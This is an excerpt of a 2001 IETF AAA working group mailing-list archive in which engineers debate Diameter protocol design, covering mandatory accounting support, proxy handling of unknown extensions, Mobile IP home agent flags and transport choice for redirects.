with ESMTP id HAA11048; Mon, 26 Feb 2001 07:13:04 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05652; Mon, 26 Feb 2001 07:12:27 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id HAA07856; Mon, 26 Feb 2001 07:12:26 -0800 (PST) Date: Mon, 26 Feb 2001 07:08:06 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: Extension requirements? To: Bernard Aboba Cc: gwz@cisco.com, aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > >I think that that is a reasonable expectation. OTOH, it's also reasonable > >to expect that a Diameter message won't fail half-way down a proxy > >chainbecause the proxy in question doesn't support a given extension. > > Any suggestion on how to accomplish this? > > >Unless something has changed dramatically in the past week or so, I don't > >believe this statement is accurate: the last time I checked, accounting was > >an _extension_ rather than part of the base protocol. That ain't what I > >call integration... > > Yes, it is an extension. Are proposing moving it into the base protocol? > > As I stated in an earlier e-mail, I would much prefer to have two specs, but have accounting be mandated in the base. This could be done via a new sub-section in section 2, called Accounting Support, which states that ALL Diameter implementations MUST support Accounting, which is documented in [x]. PatC From owner-aaa-bof@merit.edu Mon Feb 26 11:23:12 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15014 for ; Mon, 26 Feb 2001 11:23:12 -0500 (EST) Received: by segue.merit.edu (Postfix) id 772C35DDAC; Mon, 26 Feb 2001 11:22:11 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 5F47B5DDF9; Mon, 26 Feb 2001 11:22:11 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 2F1F05DDAC for ; Mon, 26 Feb 2001 11:22:10 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA22291; Mon, 26 Feb 2001 08:22:05 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20104; Mon, 26 Feb 2001 08:21:54 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id IAA10156; Mon, 26 Feb 2001 08:21:53 -0800 (PST) Date: Mon, 26 Feb 2001 08:17:34 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: Comments on draft-calhoun-diameter-mobileip-12.txt To: Fredrik Johansson Cc: Patrice Calhoun , AAA Listan In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Just getting around to cleaning this up... > I agree that the MUST be colocated. And I guess that you mean that a HOME > AGENT address of all ones implicitely requests a foreign home agent, not a > home address of all ones. > > Suggested change in Section 4.7 > "If the mobile node requests a home agent in the foreign network, and > the AAAF authorizes the request, the AAAF MUST set the Home-Agent- > In-Foreign-Network bit to one." > > TO: > "If the mobile node requests a home agent in the foreign network by > setting the home agent address to all ones, and the AAAF authorizes > the request, the AAAF MUST set the Home-Agent-In-Foreign-Network > bit to one." > > From Section 1.3 > > "The Diameter Mobile IP extension allows a Home Agent to be allocated > in a foreign network, as required in [3, 16]. When a foreign agent > detects that the mobile node has a home agent address equal to > 0.0.0.0 or 255.255.255.255 in the Registration Request message, it > MUST add a MIP-Feature-Vector AVP with the Home-Agent-Requested flag > set to one. If the home agent address is equal to 255.255.255.255, > then the foreign agent also MUST set the Home-Address-Allocatable- > Only-in-Home-Domain flag equal to one." > > How can the request be for a home agent in foreign network and the > Home-Address-Allocatable-Only-in-Home-Domain be set? Then the addresses are > NOT colocated. > > Are we missing a flag, Foreign-Home-Agent-Requested ? No, I just think that some text needs to be cleaned up. I believe that ONLY the Home Address needs to be set to all ones. Having both the Home Address AND the Home Agent Address fields be set to all ones can cause a configuration conflict, as you state above. Therefore, if the Home Address is set to all ones, the Foreign Agent MAY set to Home-Address-Allocatable-Only-in-Home-Domain flag equal to one. If not set to one, the AAAH has the option of allocating locally, or not. This requires cleanup of text in the Feature-Vector, and in section 1.3. Does this work? PatC From owner-aaa-bof@merit.edu Mon Feb 26 12:50:57 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18639 for ; Mon, 26 Feb 2001 12:50:57 -0500 (EST) Received: by segue.merit.edu (Postfix) id 0D6235DE3E; Mon, 26 Feb 2001 12:47:23 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id EF5A05DE3D; Mon, 26 Feb 2001 12:47:22 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id 591A35DE3C for ; Mon, 26 Feb 2001 12:47:21 -0500 (EST) Received: from gwzpc ([64.104.42.96] (may be forged)) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id JAA01783; Mon, 26 Feb 2001 09:45:26 -0800 (PST) Reply-To: From: "Glen Zorn" To: Cc: "Jari Arkko" , "Bernard Aboba" , Subject: RE: [AAA-WG]: Extension requirements? Date: Mon, 26 Feb 2001 09:45:22 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: <3A9A4A94.C05D234A@lmf.ericsson.se> Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit jari.arkko@lmf.ericsson.se [mailto:jari.arkko@lmf.ericsson.se] writes: > Glen Zorn wrote: > > > > Well, we got three things here: the document structure, division to > > > what we call extensions in the technical Diameter sense, and the > > > mandatory status of various parts. Accounting is a separate > > > document (like e.g. strong security) and its own extension, but a > > > mandatory part of the protocol. > > > > Where does it say that, though? As it stands, the base > Diameter protocol is > > an AA protocol, not an AAA protocol. > > Uh... Nowhere? This is a problem. I was sort of expecting > section 2 in the base spec to talk about this. > > > I can't really understand why you > > would want an integral part of a _new_ protocol to be an extension. > > Just for modularity in general, the base spec is already 57 pages... Modlarity is good, but there's a lot to be said for having all the necessities in one place. I'd rather have a single document that completely describes the base protocol (and I think we agree that accounting is really basic to Diameter) rather than two. The additional text would probably amount to 11-13 pages... > > Jari > -- > Jari Arkko, Oy L M Ericsson Ab, 02420 Jorvas, Finland. Tel +358 9 2992480 > Fax +358 9 2993052. GSM +358 40 5079256. E-Mail: Jari.Arkko@ericsson.com > NEW, UPDATED PRIVATE WWW http://www.arkko.com. Standard disclaimers apply. > From owner-aaa-bof@merit.edu Mon Feb 26 12:53:25 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18710 for ; Mon, 26 Feb 2001 12:53:25 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1E03E5DE45; Mon, 26 Feb 2001 12:47:30 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 001905DE46; Mon, 26 Feb 2001 12:47:29 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id EC0AB5DE45 for ; Mon, 26 Feb 2001 12:47:26 -0500 (EST) Received: from gwzpc ([64.104.42.96] (may be forged)) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id JAA02082; Mon, 26 Feb 2001 09:45:35 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Pat Calhoun" Cc: "Bernard Aboba" , Subject: RE: [AAA-WG]: Extension requirements? Date: Mon, 26 Feb 2001 09:45:32 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat Calhoun [mailto:pcalhoun@nasnfs.Eng.Sun.COM] writes: > > Bernard Aboba [mailto:aboba@internaut.com] writes: > > > > > >I think that that is a reasonable expectation. OTOH, it's also > > > reasonable > > > >to expect that a Diameter message won't fail half-way down a proxy > > > >chainbecause the proxy in question doesn't support a given extension. > > > > > > Any suggestion on how to accomplish this? > > > > One way would be to require all proxies to support all > extensions, but this > > is an onerous demand on developers and probably wouldn't work > anyway, given > > the liklihood of vendor-specific (and even implementation-specific) > > extensions and thelag between standardization and deployment. > A better way > > might be to require all conformant proxies to ignore unknown > extensions and > > forward the messages based on other criteria (which I think has been > > suggested before). > > One thing that was proposed is to allow proxies to advertise a special > Extension Identifier, that states it is a proxy and can handle > ANY extension. > Note, however, that *some* proxies will NOT want this behavior, since they > will want to enforce some local policies, so such proxies may > instead want to > advertise their individual extensions. Isn't this just a special case of the behavior described above? After all, you can only apply local policy to things you understand; if you don't understand it, just pass it on and assume that someone down the line will. > > PatC > > From owner-aaa-bof@merit.edu Mon Feb 26 12:56:41 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18848 for ; Mon, 26 Feb 2001 12:56:40 -0500 (EST) Received: by segue.merit.edu (Postfix) id 8A6A75DE3D; Mon, 26 Feb 2001 12:47:42 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B18225DE4E; Mon, 26 Feb 2001 12:47:34 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id A5FAF5DE44 for ; Mon, 26 Feb 2001 12:47:26 -0500 (EST) Received: from gwzpc ([64.104.42.96] (may be forged)) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id JAA01942; Mon, 26 Feb 2001 09:45:30 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Pat Calhoun" , "Jari Arkko" Cc: "Jari Arkko" , "Bernard Aboba" , Subject: RE: [AAA-WG]: Extension requirements? Date: Mon, 26 Feb 2001 09:45:27 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat Calhoun [mailto:pcalhoun@nasnfs.Eng.Sun.COM] writes: > > Glen Zorn wrote: > > > > > > Well, we got three things here: the document structure, division to > > > > what we call extensions in the technical Diameter sense, and the > > > > mandatory status of various parts. Accounting is a separate > > > > document (like e.g. strong security) and its own extension, but a > > > > mandatory part of the protocol. > > > > > > Where does it say that, though? As it stands, the base > Diameter protocol is > > > an AA protocol, not an AAA protocol. > > > > Uh... Nowhere? This is a problem. I was sort of expecting > > section 2 in the base spec to talk about this. > > > > > I can't really understand why you > > > would want an integral part of a _new_ protocol to be an extension. > > > > Just for modularity in general, the base spec is already 57 pages... > > *was* 57 pages.... many more after the interim meeting. > > Also, there is nothing that prevents us from adding a statement > in the base > protocol that states that the Accounting extension MUST be > implemented. This > would eliminate merging both docs into one. if (want_full_proto) goto accounting_doc else goto confused ;-) > > PatC > > From owner-aaa-bof@merit.edu Mon Feb 26 13:02:28 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19195 for ; Mon, 26 Feb 2001 13:02:28 -0500 (EST) Received: by segue.merit.edu (Postfix) id 111025DE44; Mon, 26 Feb 2001 12:47:56 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B95D65DE4F; Mon, 26 Feb 2001 12:47:49 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id E30715DE44 for ; Mon, 26 Feb 2001 12:47:35 -0500 (EST) Received: from gwzpc ([64.104.42.96] (may be forged)) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id JAA02228; Mon, 26 Feb 2001 09:45:40 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Pat Calhoun" , "Bernard Aboba" Cc: Subject: RE: [AAA-WG]: Extension requirements? Date: Mon, 26 Feb 2001 09:45:36 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat Calhoun [mailto:pcalhoun@nasnfs.Eng.Sun.COM] writes: > > >I think that that is a reasonable expectation. OTOH, it's > also reasonable > > >to expect that a Diameter message won't fail half-way down a proxy > > >chainbecause the proxy in question doesn't support a given extension. > > > > Any suggestion on how to accomplish this? > > > > >Unless something has changed dramatically in the past week or > so, I don't > > >believe this statement is accurate: the last time I checked, > accounting was > > >an _extension_ rather than part of the base protocol. That > ain't what I > > >call integration... > > > > Yes, it is an extension. Are proposing moving it into the base protocol? > > > > > > As I stated in an earlier e-mail, I would much prefer to have two > specs, but > have accounting be mandated in the base. This could be done via a new > sub-section in section 2, called Accounting Support, which states that ALL > Diameter implementations MUST support Accounting, which is > documented in [x]. Why? > > PatC > > From owner-aaa-bof@merit.edu Mon Feb 26 13:34:00 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20429 for ; Mon, 26 Feb 2001 13:34:00 -0500 (EST) Received: by segue.merit.edu (Postfix) id 554635DD8C; Mon, 26 Feb 2001 13:33:27 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 327EE5DDA4; Mon, 26 Feb 2001 13:33:27 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 65DCB5DD8C for ; Mon, 26 Feb 2001 13:33:25 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA01158; Mon, 26 Feb 2001 10:33:10 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA25864; Mon, 26 Feb 2001 10:32:33 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id KAA14215; Mon, 26 Feb 2001 10:32:32 -0800 (PST) Date: Mon, 26 Feb 2001 10:28:13 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: Extension requirements? To: gwz@cisco.com Cc: Pat Calhoun , Bernard Aboba , aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Pat Calhoun [mailto:pcalhoun@nasnfs.Eng.Sun.COM] writes: > > > > >I think that that is a reasonable expectation. OTOH, it's > > also reasonable > > > >to expect that a Diameter message won't fail half-way down a proxy > > > >chainbecause the proxy in question doesn't support a given extension. > > > > > > Any suggestion on how to accomplish this? > > > > > > >Unless something has changed dramatically in the past week or > > so, I don't > > > >believe this statement is accurate: the last time I checked, > > accounting was > > > >an _extension_ rather than part of the base protocol. That > > ain't what I > > > >call integration... > > > > > > Yes, it is an extension. Are proposing moving it into the base protocol? > > > > > > > > > > As I stated in an earlier e-mail, I would much prefer to have two > > specs, but > > have accounting be mandated in the base. This could be done via a new > > sub-section in section 2, called Accounting Support, which states that ALL > > Diameter implementations MUST support Accounting, which is > > documented in [x]. > > Why? Because I don't see the point in combining the two specs, just for argument sake. What is the difference between a single spec, and two that require each other. PatC From owner-aaa-bof@merit.edu Mon Feb 26 13:42:05 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20803 for ; Mon, 26 Feb 2001 13:42:05 -0500 (EST) Received: by segue.merit.edu (Postfix) id 221E15DE7C; Mon, 26 Feb 2001 13:41:09 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 10A545DE75; Mon, 26 Feb 2001 13:41:09 -0500 (EST) Received: from cisco.com (titans.cisco.com [161.44.216.10]) by segue.merit.edu (Postfix) with ESMTP id 85D555DE73 for ; Mon, 26 Feb 2001 13:41:06 -0500 (EST) Received: from titans.cisco.com (titans.cisco.com [161.44.216.10]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id NAA20431; Mon, 26 Feb 2001 13:39:53 -0500 (EST) Date: Mon, 26 Feb 2001 13:39:53 -0500 (EST) From: Mark Eklund To: diameter@diameter.org, aaa-wg@merit.edu Subject: [AAA-WG]: Redirect-server and transport Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, Now that Diameter MAY use TCP, should the Redirect-Host AVP contain an AVP specifying Transport? If not, how does one know what transport to use when connecting with the Redirect Server? This question was based off of draft-calhoun-diameter-18.txt. Thanks, -mark From owner-aaa-bof@merit.edu Mon Feb 26 13:51:21 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21176 for ; Mon, 26 Feb 2001 13:51:21 -0500 (EST) Received: by segue.merit.edu (Postfix) id 65AB85DDED; Mon, 26 Feb 2001 13:49:01 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 50FA05DDF4; Mon, 26 Feb 2001 13:49:01 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id 607CF5DDED for ; Mon, 26 Feb 2001 13:48:59 -0500 (EST) Received: (qmail 31672 invoked by uid 500); 26 Feb 2001 18:48:58 -0000 Date: Mon, 26 Feb 2001 12:48:57 -0600 From: David Frascone To: Mark Eklund Cc: aaa-wg@merit.edu Subject: Re: [AAA-WG]: Redirect-server and transport Message-ID: <20010226124857.O30511@newman.frascone.com> Mail-Followup-To: Mark Eklund , aaa-wg@merit.edu References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from meklund@cisco.com on Mon, Feb 26, 2001 at 01:39:53PM -0500 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk I would assume that the redirecting host would not have any idea of the relationship between the sending host and the host it's being redirected to. I can barely read the above sentance :). Let me try again: IN my opinion, the redirect server should not try to enforce a particular transport, just a location. On Mon, Feb 26, 2001 at 01:39:53PM -0500, Mark Eklund wrote: > All, > > Now that Diameter MAY use TCP, should the Redirect-Host AVP > contain an AVP specifying Transport? If not, how does one know > what transport to use when connecting with the Redirect Server? > > This question was based off of draft-calhoun-diameter-18.txt. > > Thanks, > > -mark > > From owner-aaa-bof@merit.edu Mon Feb 26 14:09:01 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21967 for ; Mon, 26 Feb 2001 14:09:00 -0500 (EST) Received: by segue.merit.edu (Postfix) id 533DE5DDFE; Mon, 26 Feb 2001 14:08:40 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 4336E5DDF9; Mon, 26 Feb 2001 14:08:40 -0500 (EST) Received: from cisco.com (titans.cisco.com [161.44.216.10]) by segue.merit.edu (Postfix) with ESMTP id 249885DDF4 for ; Mon, 26 Feb 2001 14:08:37 -0500 (EST) Received: from titans.cisco.com (titans.cisco.com [161.44.216.10]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id OAA20748; Mon, 26 Feb 2001 14:07:11 -0500 (EST) Date: Mon, 26 Feb 2001 14:07:11 -0500 (EST) From: Mark Eklund To: David Frascone Cc: aaa-wg@merit.edu Subject: Re: [AAA-WG]: Redirect-server and transport In-Reply-To: <20010226124857.O30511@newman.frascone.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk David, On Mon, 26 Feb 2001, David Frascone wrote: > I would assume that the redirecting host would not have any idea of the > relationship between the sending host and the host it's being redirected to. > > I can barely read the above sentance :). Let me try again: IN my opinion, > the redirect server should not try to enforce a particular transport, just > a location. > Currently you can either send a Redirect-Host-Address AVP by itself, or a Redirect-Host AVP of type group which contains a Redirect-Host-Address AVP and a Redirect-Host-Port AVP. If the redirect server shouldn't enforce a transport, why should it enforce a port? Or how about this. If I can handle both TCP and SCTP and am told to redirect my request to a.b.c.d. How do I know what transport to use? -mark > > > On Mon, Feb 26, 2001 at 01:39:53PM -0500, Mark Eklund wrote: > > All, > > > > Now that Diameter MAY use TCP, should the Redirect-Host AVP > > contain an AVP specifying Transport? If not, how does one know > > what transport to use when connecting with the Redirect Server? > > > > This question was based off of draft-calhoun-diameter-18.txt. > > > > Thanks, > > > > -mark > > > > > From owner-aaa-bof@merit.edu Mon Feb 26 18:22:55 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA03617 for ; Mon, 26 Feb 2001 18:22:55 -0500 (EST) Received: by segue.merit.edu (Postfix) id ADE7C5DDA6; Mon, 26 Feb 2001 18:22:41 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 9E30E5DDA4; Mon, 26 Feb 2001 18:22:41 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 64C1E5DD90 for ; Mon, 26 Feb 2001 18:22:40 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA17702; Mon, 26 Feb 2001 15:22:35 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA28720; Mon, 26 Feb 2001 15:22:30 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id PAA26321; Mon, 26 Feb 2001 15:22:29 -0800 (PST) Date: Mon, 26 Feb 2001 15:18:10 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: [AAA-WG]: Re: [diameter] Redirect-server and transport To: Mark Eklund Cc: diameter@diameter.org, aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Good question. The agreement at the Interim meeting was that NASes MUST support TCP (and may need to support SCTP in the future), while servers MUST support both TCP and SCTP. Therefore, a NAS can use whatever transport it prefers, since a redirect will cause the NAS to talk to a server. PatC > All, > > Now that Diameter MAY use TCP, should the Redirect-Host AVP > contain an AVP specifying Transport? If not, how does one know > what transport to use when connecting with the Redirect Server? > > This question was based off of draft-calhoun-diameter-18.txt. > > Thanks, > > -mark > From owner-aaa-bof@merit.edu Mon Feb 26 18:40:27 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04393 for ; Mon, 26 Feb 2001 18:40:26 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2486A5DEB8; Mon, 26 Feb 2001 18:35:24 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id D927E5DEAB; Mon, 26 Feb 2001 18:35:22 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id D3E4D5DED8 for ; Mon, 26 Feb 2001 18:34:46 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA05260; Mon, 26 Feb 2001 15:34:38 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA01764; Mon, 26 Feb 2001 15:34:37 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id PAA26834; Mon, 26 Feb 2001 15:34:34 -0800 (PST) Date: Mon, 26 Feb 2001 15:30:16 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: Extension requirements? To: gwz@cisco.com Cc: Pat Calhoun , Bernard Aboba , aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > > One thing that was proposed is to allow proxies to advertise a special > > Extension Identifier, that states it is a proxy and can handle > > ANY extension. > > Note, however, that *some* proxies will NOT want this behavior, since they > > will want to enforce some local policies, so such proxies may > > instead want to > > advertise their individual extensions. > > Isn't this just a special case of the behavior described above? After all, > you can only apply local policy to things you understand; if you don't > understand it, just pass it on and assume that someone down the line will. Right, but it doesn't seem to make sense that a proxy would have to advertise an extension it doesn't support. Therefore, I am stating that we MAY want to allocate a special wildcard extension number (say all ones?). PatC From owner-aaa-bof@merit.edu Mon Feb 26 18:42:36 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04484 for ; Mon, 26 Feb 2001 18:42:36 -0500 (EST) Received: by segue.merit.edu (Postfix) id D61E75DE47; Mon, 26 Feb 2001 18:37:20 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B556C5DE57; Mon, 26 Feb 2001 18:37:20 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id B3E8A5DE47 for ; Mon, 26 Feb 2001 18:37:18 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA27983; Mon, 26 Feb 2001 15:37:05 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA02320; Mon, 26 Feb 2001 15:37:05 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id PAA26900; Mon, 26 Feb 2001 15:37:03 -0800 (PST) Date: Mon, 26 Feb 2001 15:32:44 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: Extension requirements? To: gwz@cisco.com Cc: Pat Calhoun , Jari Arkko , Jari Arkko , Bernard Aboba , aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > if (want_full_proto) goto accounting_doc > else > goto confused if (know_how_to_read_section_x_of_base_protocol) implement_accounting_doc else give_up_and_find_another_career :) PatC From owner-aaa-bof@merit.edu Mon Feb 26 18:44:43 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04564 for ; Mon, 26 Feb 2001 18:44:43 -0500 (EST) Received: by segue.merit.edu 